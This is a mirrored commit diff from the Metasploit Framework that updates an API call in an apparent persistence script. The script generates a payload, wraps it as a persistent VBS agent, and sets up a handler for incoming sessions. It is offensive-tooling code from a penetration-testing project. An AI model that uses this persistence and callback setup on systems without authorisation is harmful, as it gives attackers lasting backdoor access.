mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
Fixes #456. Matches the new API
git-svn-id: file:///home/svn/framework3/trunk@7337 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
86bcabc411
commit
83e9cf8472
@ -60,7 +60,7 @@ pay.datastore['LHOST'] = rhost
|
||||
pay.datastore['LPORT'] = rport
|
||||
raw = pay.generate
|
||||
|
||||
vbs = ::Msf::Util::EXE.to_win32pe_vbs(client.framework, raw, true, delay)
|
||||
vbs = ::Msf::Util::EXE.to_win32pe_vbs(client.framework, raw, {:persist => true, :delay => 5})
|
||||
print_status("Persistent agent script is #{vbs.length} bytes long")
|
||||
|
||||
|
||||
@ -91,7 +91,7 @@ if(autoconn)
|
||||
mul.datastore['LHOST'] = rhost
|
||||
mul.datastore['LPORT'] = rport
|
||||
mul.datastore['ExitOnSession'] = false
|
||||
|
||||
|
||||
mul.exploit_simple(
|
||||
'Payload' => mul.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
@ -113,4 +113,3 @@ if(install)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user